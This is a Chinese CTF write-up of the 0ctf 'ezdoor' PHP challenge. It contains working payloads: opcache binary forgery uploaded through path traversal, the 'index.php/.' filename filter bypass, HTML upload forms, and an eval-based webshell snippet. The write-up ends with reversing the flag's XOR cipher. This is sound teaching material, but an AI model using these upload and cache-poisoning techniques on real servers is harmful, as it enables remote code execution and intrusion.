从零基础到成功解题之0ctf-ezdoor

文章以word形式发至邮箱:

minwei.wang@dbappsecurity.com.cn

有偿投稿,记得留下你的姓名联系方式哦~

-START-

今天闲来无事,准备总结一下0ctf的ezdoor这题,反正现在的web是不可能纯web了,怎么都得带着点bin,干脆就从这题开始我的webin之路吧(手动滑稽)

环境搭建

这次环境搭建就比较友好了

出题大哥已经公布源码了(默默给大哥打call)

https://github.com/LyleMi/My-CTF-Challenges

使用方式也很简单

git clone https://github.com/LyleMi/My-CTF-Challenges.git

然后到dockerfile的目录下

docker build -t 0ctf-ezdoor .

build完成后

docker run -dit -p 8585:80 --name 0ctf-ezdoor 0ctf-ezdoor

当然,如果Build处报错了,说不存在sandbox文件夹

可以在dockerfile里加一行

RUN mkdir /var/www/html/sandbox/

就可以解决啦

这次的环境搭建还算非常容易

然后访问

http://192.168.130.157:8585

即可看到题目

源码分析

代码不多,我直接全部给出了

<?php

error_reporting(0);

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){

mkdir($dir);

}

if(!file_exists($dir . "index.php")){

touch($dir . "index.php");

}

function clear($dir)

{

if(!is_dir($dir)){

unlink($dir);

return;

}

foreach (scandir($dir) as $file) {

if (in_array($file, [".", ".."])) {

continue;

}

unlink($dir . $file);

}

rmdir($dir);

}

switch ($_GET["action"] ?? "") {

case 'pwd':

echo $dir;

break;

case 'phpinfo':

echo file_get_contents("phpinfo.txt");

break;

case 'reset':

clear($dir);

break;

case 'time':

echo time();

break;

case 'upload':

if (!isset($_GET["name"]) || !isset($_FILES['file'])) {

break;

}

if ($_FILES['file']['size'] > 100000) {

clear($dir);

break;

}

$name = $dir . $_GET["name"];

if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||

stristr(pathinfo($name)["extension"], "h")) {

break;

}

move_uploaded_file($_FILES['file']['tmp_name'], $name);

$size = 0;

foreach (scandir($dir) as $file) {

if (in_array($file, [".", ".."])) {

continue;

}

$size += filesize($dir . $file);

}

if ($size > 100000) {

clear($dir);

}

break;

case 'shell':

ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");

include $dir . "index.php";

break;

default:

highlight_file(__FILE__);

break;

}

先看前几行

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){

mkdir($dir);

}

if(!file_exists($dir . "index.php")){

touch($dir . "index.php");

}

程序会在sandbox下根据你的ip创建一个文件夹

然后再在刚刚创建的文件夹中创建index.php文件

接下来是一个功能

function clear($dir)

{

if(!is_dir($dir)){

unlink($dir);

return;

}

foreach (scandir($dir) as $file) {

if (in_array($file, [".", ".."])) {

continue;

}

unlink($dir . $file);

}

rmdir($dir);

}

即clear功能,简单来说

就是删除文件夹内内容

再删除文件夹

然后是一个switch选项

switch ($_GET["action"] ?? "") {

case 'pwd':

echo $dir;

break;

case 'phpinfo':

echo file_get_contents("phpinfo.txt");

break;

case 'reset':

clear($dir);

break;

case 'time':

echo time();

break;

case 'upload':

if (!isset($_GET["name"]) || !isset($_FILES['file'])) {

break;

case 'shell':

ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");

include $dir . "index.php";

break;

default:

highlight_file(__FILE__);

break;

}

题目给出了6个选项:

1.打印你的路径

2.打印phpinfo信息

3.重置,即前面提到的clear功能,删除你的文件夹

4.时间,打印当前时间

5.上传,上传内容

6.shell包含,即包含你刚刚文件夹下的index.php文件

然后关于上传功能

if ($_FILES['file']['size'] > 100000) {

clear($dir);

break;

}

$name = $dir . $_GET["name"];

if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||

stristr(pathinfo($name)["extension"], "h")) {

break;

}

move_uploaded_file($_FILES['file']['tmp_name'], $name);

$size = 0;

foreach (scandir($dir) as $file) {

if (in_array($file, [".", ".."])) {

continue;

}

$size += filesize($dir . $file);

}

if ($size > 100000) {

clear($dir);

}

break;

首先文件大小有限制,太大会触发clear功能清除文件夹

然后是对写入的文件名有限制,后缀中不可以出现h,这就意味着

php phtml phps...

等被过滤无法使用

然后利用move_uploaded_file移动文件

现在来看整个流程,不难读懂题目的意思

1.利用上传功能,覆盖index.php文件

2.利用shell包含功能,包含我们恶意覆盖的index.php文件

3.利用shell,根据flag文件路径进行读取

那么下面的思路就很明确了,如何覆盖index.php成为重中之重

预期解

01 phpinfo突破口

既然题目给出了phpinfo,那么一定里面藏着一些提示

我们在浏览phpinfo的时候可以看见

opcache.enable => On => On

opcache服务是正常开启的,那么opcache是什么呢?

02 opcache突破口

opcache是缓存文件,他的作用就类似于web项目中的静态文件的缓存, 比如我们加载一个网页, 浏览器会自动帮我们把jpg, css缓存起来, 唯独php没有缓存, 每次均需要open文件, 解析代码, 执行代码这一过程, 而opcache即可解决这个问题, 代码会被高速缓存起来, 提升访问速度。

那么为什么opcache可以导致我们进行文件覆盖呢?

我们设想A网站:

A网站的网页index.php具有缓存文件index.php.bin

而访问index.php的时候加载缓存index.php.bin

倘若这时候具有上传,我们可以覆盖index.php.bin

是不是就会加载我们的恶意文件了呢?

题目中虽然过滤php类型的结尾,但是却未过滤bin的结尾

03 opcache文件构造思路

既然想要伪造opcache文件,就必须了解其规则问题

观察phpinfo我们可以发现如下信息

opcache.file_cache => /tmp/cache => /tmp/cache

不难发现opcache文件是保存在/tmp/cache目录下的

然后通过测试,我发现,实际目录是

/tmp/cache/system_id/.....

比如我以这题为例

我如果访问`/var/www/html/index.php文`件

则会生成opcache文件于

/tmp/cache/97d778899a99fd6d6a4b0b9e628322f5/var/www/html/index.php.bin

所以我们现在的目的也很明确了

构造一个

/tmp/cache/[system_id]/var/www/html/sandbox/[ip_remote_addr]/index.php.bin

即可

然后上传覆盖题目当前的空白的index.php.bin

即可达到恶意缓存覆盖,加载我们的index.php的目的

04 opcache-system_id

第一个问题是如何生成与题目一致的system_id

这里有个工具可以帮到忙

https://github.com/GoSecure/php7-opcache-override

其中使用样例说的很细致

$ ./system_id_scraper.py info.html

PHP version : 7.0.4-7ubuntu2

Zend Extension ID : API320151012,NTS

Zend Bin ID : BIN_SIZEOF_CHAR48888

Assuming x86_64 architecture

------------

System ID : 81d80d78c6ef96b89afaadc7ffc5d7ea

即可生成system_id

这里我们去phpinfo搜集对应信息

PHP version : 7.0.28

Zend Extension ID : API320151012,NTS

Zend Bin ID : BIN_SIZEOF_CHAR48888

Assuming x86_64 architecture

------------

System ID : 7badddeddbd076fe8352e80d8ddf3e73

然后利用脚本即可轻松得到system_id

05 opcache文件生成

生成方式也很简单

用一个同样配置,同样php版本的相同环境

然后在相同目录下放置我们想要的php内容

php

<?php

echo '666';

?>

然后去访问该文件,即可在opcache目录下获得对应的缓存文件

知道了方法,我们先去看一下当前路径

http://192.168.130.157:8585/?action=pwd

可以获得

sandbox/0cd79defd641ed75ffd8f450d5bc047b37c0bb85/

然后我们去自己搭建的环境中创建相同文件夹

然后放入index.php,访问,即可获得相应的opcache文件,即

index.php.bin

06 opcache-timestamp

这里还有一个问题,即opcache还有一个时间戳

在phpinfo里可以看见开启

opcache.validate_timestamps => On => On

相关的bypass方法,在这篇文章里已经有所提及

http://gosecure.net/2016/04/27/binary-webshell-through-opcache-in-php-7/

即获取到文件创建时的timestamp,然后写到cache的bin里面。

操作方法如下

import requests

print requests.get('http://192.168.130.157:8585/index.php?action=time').content

print requests.get('http://192.168.130.157:8585/index.php?action=reset').content

print requests.get('http://192.168.130.157:8585/index.php?action=time').content

然后我们修改opcache文件`index.php.bin`的数据

system_id

timestamps

两项,为我们之前预测出来的值即可

07 opcache-文件上传

然后我们构造上传路径

../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/0cd79defd641ed75ffd8f450d5bc047b37c0bb85/index.php.bin

然后构造html表单

html

<form action="http://192.168.130.157:8585/index.php?action=upload&name=../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/0cd79defd641ed75ffd8f450d5bc047b37c0bb85/index.php.bin" method="post" enctype="multipart/form-data">

<input type="file" name="file1" />

<input type="submit" />

</form>

上传后再访问

http://192.168.130.157:8585/index.php?action=shell

发现文件覆盖包含成功,页面打印666

非预期解

01 './'bypass

首先什么是`/.`

这是一种bypass手法

例如index.php/.

这样的文件名去绕过检测

我们不妨测试

<?php

$name = 'index.php';

if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||

stristr(pathinfo($name)["extension"], "h")) {

echo "fuck";

}

?>

此时运行打印fuck,而如果使用index.php/.

则可以成功绕过

02 '/.'原理分析

这里要从wonderkun师傅的博客说起

http://wonderkun.cc/index.html/?p=626

wonderkun师傅已经在文章中做了详细的阐述

其中php在文件路径处理上的底层关键代码函数tsrm_realpath()

c

i = len;

// i的初始值为字符串的长度

while (i > start && !IS_SLASH(path[i-1])) {

i--;

// 把i定位到第一个/的后面

}

if (i == len ||

(i == len - 1 && path[i] == '.')) {

len = i - 1;

// 删除路径中最后的 /. , 也就是 /path/test.php/. 会变为 /path/test.php

is_dir = 1;

continue;

} else if (i == len - 2 && path[i] == '.' && path[i+1] == '.') {

//删除路径结尾的 /..

is_dir = 1;

if (link_is_dir) {

*link_is_dir = 1;

}

if (i - 1 <= start) {

return start ? start : len;

}

j = tsrm_realpath_r(path, start, i-1, ll, t, use_realpath, 1, NULL TSRMLS_CC);

// 进行递归调用的时候,这里把strlen设置为了i-1,

php在做路径处理的时候,会递归的删除掉路径中存在的/.,所以会导致写入文件成功。

即导致我们上传的文件名为index.php/.

经过php的文件路径处理,我们不但bypass成功,上传的文件名依旧为index.php

但是wonderkun师傅同时也在博客中提及

虽然`/.`可以bypass过滤上传成功,但是无法进行文件覆盖

关键原因师傅也提及的很明确了

这里同样摘录引用

1077 if (save && php_sys_lstat(path, &st) < 0) {

1078 if (use_realpath == CWD_REALPATH) {

1079 /* file not found */

1080 return -1;

1081 }

1082 /* continue resolution anyway but don't save result in the cache */

1083 save = 0;

1084 }

c

1120 if (save) {

1121 directory = S_ISDIR(st.st_mode);

1122 if (link_is_dir) {

1123 *link_is_dir = directory;

1124 }

1125 if (is_dir && !directory) {

1125 /* not a directory */

1127 free_alloca(tmp, use_heap);

1128 return -1;

1129 }

1130 }

`php_sys_lstat`是一个宏定义,其实是系统函数`lstat`,主要功能是获取文件的描述信息存入st结构体中,由于上面分析会删除掉路径中的`/.`,所以调用时传入的`path=/Users/wonderkun/script/php-src/sapi/cli/./index.php`

当第一次执行时不存在index.php文件,函数`php_sys_lstat`返回-1,所以第1083行会被执行,重置save为0,所以1120-1130行都没有被执行。

当第二次执行,覆盖老文件的时候,`/Users/wonderkun/script/php-src/sapi/cli/./index.php`已经是一个存在的文件了,所以`php_sys_lstat`返回0,st中存储的是一个文件的信息,save还是1,导致1120-1130行被执行。由于之前php认为`/Users/wonderkun/script/php-src/sapi/cli/./index.php/.`是一个目录(is_dir是1),现在有获取到`/Users/wonderkun/script/php-src/sapi/cli/./index.php`是一个文件,所以`is_dir && !directory`为true,函数返回了-1,得到的路径长度出错,所以无法覆盖老文件。

那么问题来了,虽然`index.php/.`可以成功上传并且Bypass过滤,但是无法覆盖已经存在的空白文件`index.php`这该怎么办呢?

03 神奇的move_uploaded_file()

当时比赛的时候,我使用的payload为

sky/../index.php/.

当时简单的认为应该是`move_uploaded_file()`遇到前面不存在的文件夹而存在问题导致不存在的文件夹

sky

成为类似于跳板的东西,导致我们的

index.php/.

成功覆盖`index.php`

而如果直接使用

/index.php/.

是不能够覆盖成功的,原因前面已经提及

但是后来看见pupiles师傅的一篇文章(下文已给出链接),发现`move_uploaded_file()`与`index.php/.`的成功覆盖并不是我想的那么容易,这还是要从底层说起:

关于`move_uploaded_file()`的底层实现的关键代码

c

if (VCWD_RENAME(path, new_path) == 0) {

successful = 1;

} else if (php_copy_file_ex(path, new_path, STREAM_DISABLE_OPEN_BASEDIR) == SUCCESS) {

VCWD_UNLINK(path);

successful = 1;

}

这里并未使用之前提及的tsrm_realpath()函数,并且如果文件已经存在的话,就不会再打开文件,于是php_sys_lstat会返回0。

而当时我们覆盖失败的原因正是因为

/Users/wonderkun/script/php-src/sapi/cli/./index.php

已经是一个存在的文件了,所以`php_sys_lstat`返回0

但是如果这个时候我们如果使用

sky/../index.php/.

即带有不存在文件夹的路径

那么在判断时也就不会判定存在该文件,所以此时`php_sys_lstat`返回的是-1,最后也导致了成功的覆盖了文件

当然我这里也只是简单的概述,若想要深入探究,可以阅读这两篇文章

http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

https://blog.zsxsoft.com/post/36

默默给两位大哥打call

04 payload

所以最后我们简单使用payload

skysky/../index.php/.

然后构造表单

<form action="http://192.168.130.157:8585/index.php?action=upload&name=skysky/../index.php/." method="post" enctype="multipart/form-data">

<input type="file" name="file1" />

<input type="submit" />

</form>

上传数据内容为

<?php

echo '666';

?>

上传后再访问

http://192.168.130.157:8585/index.php?action=shell

发现文件覆盖包含成功,页面打印666

从shell到获取flag文件

index.php文件覆盖成功后,我们又遇到了新的问题

比如我们写如下shell

<?php

@eval($_POST['sky']);

?>

会发现包含后完全不起作用

这时候意识到题目做了许多过滤

一些类似系统命令的指令都被禁止了

随后发现部分php函数还在

var_dump()

scandir()

于是构造出Payload

<?php

var_dump(scandir('/var/www/html/flag'));

?>

可以发现flag文件夹下的文件

93f4c28c0cf0b07dfd7012dca2cb868cc0228cad

本以为到此结束了,读取文件后发现竟然又是个opcache文件

故此我们顺利得到flag.php.bin

强行反编译

拿到题目后,首先发现opcache文件头有点问题,少了一个00

补上后继续利用工具

https://github.com/GoSecure/php7-opcache-override

进行反编译

首先按照库依赖

pip install construct==2.8.22

pip install treelib

pip install termcolor

这里需要注意一下construct的版本,否则会报错

然后利用工具进行反编译,操作如下

./opcache_disassembler.py -c -a64 flag.php.bin

然后得到反编译后的文件

function encrypt() {

#0 !0 = RECV(None, None);

#1 !0 = RECV(None, None);

#2 DO_FCALL_BY_NAME(None, 'mt_srand');

#3 SEND_VAL(1337, None);

#4 (129)?(None, None);

#5 ASSIGN(!0, '');

#6 (121)?(!0, None);

#7 ASSIGN(None, None);

#8 (121)?(!0, None);

#9 ASSIGN(None, None);

#10 ASSIGN(None, 0);

#11 JMP(->-24, None);

#12 DO_FCALL_BY_NAME(None, 'chr');

#13 DO_FCALL_BY_NAME(None, 'ord');

#14 FETCH_DIM_R(!0, None);

#15 (117)?(None, None);

#16 (129)?(None, None);

#17 DO_FCALL_BY_NAME(None, 'ord');

#18 MOD(None, None);

#19 FETCH_DIM_R(!0, None);

#20 (117)?(None, None);

#21 (129)?(None, None);

#22 BW_XOR(None, None);

#23 DO_FCALL_BY_NAME(None, 'mt_rand');

#24 SEND_VAL(0, None);

#25 SEND_VAL(255, None);

#26 (129)?(None, None);

#27 BW_XOR(None, None);

#28 SEND_VAL(None, None);

#29 (129)?(None, None);

#30 ASSIGN_CONCAT(!0, None);

#31 PRE_INC(None, None);

#32 IS_SMALLER(None, None);

#33 JMPNZ(None, ->134217662);

#34 DO_FCALL_BY_NAME(None, 'encode');

#35 (117)?(!0, None);

#36 (130)?(None, None);

#37 RETURN(None, None);

}

function encode() {

#0 RECV(None, None);

#1 ASSIGN(None, '');

#2 ASSIGN(None, 0);

#3 JMP(->-81, None);

#4 DO_FCALL_BY_NAME(None, 'dechex');

#5 DO_FCALL_BY_NAME(None, 'ord');

#6 FETCH_DIM_R(None, None);

#7 (117)?(None, None);

#8 (129)?(None, None);

#9 (117)?(None, None);

#10 (129)?(None, None);

#11 ASSIGN(None, None);

#12 (121)?(None, None);

#13 IS_EQUAL(None, 1);

#14 JMPZ(None, ->-94);

#15 CONCAT('0', None);

#16 ASSIGN_CONCAT(None, None);

#17 JMP(->-96, None);

#18 ASSIGN_CONCAT(None, None);

#19 PRE_INC(None, None);

#20 (121)?(None, None);

#21 IS_SMALLER(None, None);

#22 JMPNZ(None, ->134217612);

#23 RETURN(None, None);

}

#0 ASSIGN(None, 'input_your_flag_here');

#1 DO_FCALL_BY_NAME(None, 'encrypt');

#2 SEND_VAL('this_is_a_very_secret_key', None);

#3 (117)?(None, None);

#4 (130)?(None, None);

#5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');

#6 JMPZ(None, ->-136);

#7 ECHO('Congratulation! You got it!', None);

#8 EXIT(None, None);

#9 ECHO('Wrong Answer', None);

#10 EXIT(None, None);

详细可以参考

OPCode详解及汇编与反汇编原理,链接如下:

https://blog.csdn.net/sqzxwq/article/details/47786345

这里就不一步一步逆向了。。。毕竟我还是个web选手

最后给出逆向后的官方代码

<?php

function encode($string){

$hex='';

for ($i=0; $i < strlen($string); $i++){

$tmp = dechex(ord($string[$i]));

if(strlen($tmp) == 1){

$hex .= "0" . $tmp;

}else{

$hex .= $tmp;

}

}

return $hex;

}

function encrypt($pwd, $data){

mt_srand(1337);

$cipher = "";

$pwd_length = strlen($pwd);

$data_length = strlen($data);

for ($i = 0; $i < $data_length; $i++) {

$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

}

return encode($cipher);

}

$flag = "input_your_flag_here";

if(encrypt("this_is_a_very_secret_key", $flag) === "85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab") {

echo "Congratulation! You got it!";

} else {

echo "Wrong Answer";

}

exit();

发现是个加密题

解密获得flag

我们研读加密函数encrypt()

function encrypt($pwd, $data){

mt_srand(1337);

$cipher = "";

$pwd_length = strlen($pwd);

$data_length = strlen($data);

for ($i = 0; $i < $data_length; $i++) {

$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

}

return encode($cipher);

}

发现关键点有2个

1.mt_srand(1337)

2.xor加密

然后跟进encode()函数

function encode($string){

$hex='';

for ($i=0; $i < strlen($string); $i++){

$tmp = dechex(ord($string[$i]));

if(strlen($tmp) == 1){

$hex .= "0" . $tmp;

}else{

$hex .= $tmp;

}

}

return $hex;

}

发现只是用来保证16进制是2位的,比如

我们测试

function encode($string){

$hex='';

for ($i=0; $i < strlen($string); $i++){

$tmp = dechex(ord($string[$i]));

var_dump($tmp);

}

打印出来

string(2) "56"

string(2) "3a"

string(2) "c5"

string(1) "9"

string(2) "51"

可以看到第4个是"1"

所以需要在前面加个0,变成"01"

所以重点还是在于encrypt()函数

关注到之前的xor运算

$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

这里的`$pwd`为

this_is_a_very_secret_key

而`$data`为我们想要的值

此时我们有`$cipher`

我们知道xor运算是可逆的

比如

$cipher[$i] = chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

我们可以得到

chr(ord($data[$i]) = $cipher[$i] ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

故此可以拿到flag,所以只需要把密文当做明文,再进行一次encrypt()即可获得flag

我们测试

<?php

function encode($string){

$hex='';

for ($i=0; $i < strlen($string); $i++){

$tmp = dechex(ord($string[$i]));

if(strlen($tmp) == 1){

$hex .= "0" . $tmp;

}else{

$hex .= $tmp;

}

}

return $hex;

}

function encrypt($pwd, $data){

mt_srand(1337);

$cipher = "";

$pwd_length = strlen($pwd);

$data_length = strlen($data);

for ($i = 0; $i < $data_length; $i++) {

$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

}

// return base64_encode($cipher);

return encode($cipher);

}

$test = "flag{123456}";

echo encrypt("this_is_a_very_secret_key", $test);

得到密文

af8b20dc63d3349af9563a8f

我们尝试解密

<?php

function encode($string){

$hex='';

for ($i=0; $i < strlen($string); $i++){

$tmp = dechex(ord($string[$i]));

if(strlen($tmp) == 1){

$hex .= "0" . $tmp;

}else{

$hex .= $tmp;

}

}

return $hex;

}

function encrypt($pwd, $data){

mt_srand(1337);

$cipher = "";

$pwd_length = strlen($pwd);

$data_length = strlen($data);

for ($i = 0; $i < $data_length; $i++) {

$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

}

// return base64_encode($cipher);

return $cipher;

}

function hex2String($hex)

{

$string = '';

for($i=0;$i<strlen($hex)-1;$i+=2)

{

$string .= chr(hexdec($hex[$i].$hex[$i+1]));

}

return $string;

}

$res = hex2String('af8b20dc63d3349af9563a8f');

echo encrypt("this_is_a_very_secret_key", $res);

运行即可得到结果

flag{123456}

验证了解密思路无误后,开始解密题目

<?php

function encode($string){

$hex='';

for ($i=0; $i < strlen($string); $i++){

$tmp = dechex(ord($string[$i]));

if(strlen($tmp) == 1){

$hex .= "0" . $tmp;

}else{

$hex .= $tmp;

}

}

return $hex;

}

function encrypt($pwd, $data){

mt_srand(1337);

$cipher = "";

$pwd_length = strlen($pwd);

$data_length = strlen($data);

for ($i = 0; $i < $data_length; $i++) {

$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

}

return $cipher;

}

$flag = '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab';

function hex2String($hex)

{

$string = '';

for($i=0;$i<strlen($hex)-1;$i+=2)

{

$string .= chr(hexdec($hex[$i].$hex[$i+1]));

}

return $string;

}

$res = hex2String($flag);

echo encrypt("this_is_a_very_secret_key", $res);

结果发现结果得到的是乱码

后来题目给出提示

环境是php7.2,而我是php7.0

故此可能

mt_srand(1337);

种子产生影响而导致解密失败,于是安装php7.2

考虑到繁琐性,我这里使用docker

docker search php7.2

得到回显

skiychan/nginx-php7 nginx-php7.2 for docker

很明显这个还不错,我们选择拉取

docker pull skiychan/nginx-php7

然后运行

docker run -dit -p 11111:80 skiychan/nginx-php7

然后进入

docker exec -it 9279 /bin/bash

然后进入

/data/www

修改Index.php

php

<?php

function encode($string){

$hex='';

for ($i=0; $i < strlen($string); $i++){

$tmp = dechex(ord($string[$i]));

if(strlen($tmp) == 1){

$hex .= "0" . $tmp;

}else{

$hex .= $tmp;

}

}

return $hex;

}

function encrypt($pwd, $data){

mt_srand(1337);

$cipher = "";

$pwd_length = strlen($pwd);

$data_length = strlen($data);

for ($i = 0; $i < $data_length; $i++) {

$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

}

return $cipher;

}

$flag = '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab';

function hex2String($hex)

{

$string = '';

for($i=0;$i<strlen($hex)-1;$i+=2)

{

$string .= chr(hexdec($hex[$i].$hex[$i+1]));

}

return $string;

}

$res = hex2String($flag);

echo encrypt("this_is_a_very_secret_key", $res);

访问

http://192.168.130.157:11111/

得到flag

后记

大概总结一下流程

1.上传文件覆盖index.php

2.包含文件拿shell

3.读flag.php.bin

4.进行反编译

5.获得crypto代码

6.解密得到flag

其中涉及非预期:

/.的绕过过滤的覆盖问题

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-05-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

3 条评论
登录 后参与评论

相关文章

来自专栏CSDN技术头条

c++ fstream + string 处理大数据

起因 (1)之前处理文本数据时,各种清洗数据用的都是java的File,FileReader/FileWriter,BufferedReader/Buffer...

1926
来自专栏数据小魔方

左手用R右手Python系列——循环中的错误异常规避

上一讲讲了R语言与Pyhton中的异常捕获与错误处理基本知识,今天以一个小案例来进行实战演练,让你的程序遇水搭桥,畅通无阻。 本案例目标网址,今日头条的头条指数...

3236
来自专栏坚毅的PHP

mysql复制学习一

mysql复制传统上是基于语句的复制,5.0实现了基于行的复制。基于语句复制将执行语句及执行信息写入二进制日志中。 二进制日志包含 binlog和索引文件。bi...

3459
来自专栏用户2442861的专栏

Ext2文件系统布局,文件数据块寻址,VFS虚拟文件系统

http://blog.csdn.net/jnu_simba/article/details/11759809

542
来自专栏极客编程

linux下的shell脚本编程

Shell本身是一个用C语言编写的程序,它是用户使用Unix/Linux的桥梁,用户的大部分工作都是通过Shell完成的。Shell既是一种命令语言,又是一种程...

752
来自专栏Laoqi's Linux运维专列

sed命令扩展–转载

文本处理工具之二 sed命令详解 sed:Stream Editor文本流编辑,sed是一个“非交互式的”面向字符流的编辑器。能同时处理多个文件多行的内容,可以...

2945
来自专栏Python、Flask、Django

Python读写Json数据

1382
来自专栏Charlie's Road

<Solidity学习系列四>使用编译器

Solidity存储库的一个构建目标是solc,solidity命令行编译器。 使用solc --help为您提供所有选项的解释。 编译器可以生成各种输出,范围...

642
来自专栏安恒网络空间安全讲武堂

bugkuctf_web_writeup(部分)--下

bugkuctf平台10个较简单的web题目writeup,适合新手入门,可以找来试试http://ctf.bugku.com/bbs 。 本地包含 题目描述:...

4153
来自专栏magicsoar

HHVM源码剖析

一、前言 hhvm源码中充满了很多C++11的新特性,并且使用了各种设计模式如工厂,模板方法等,利用智能指针包裹指针,让delete没有肆意的出现 模板,继承,...

1988

扫码关注云+社区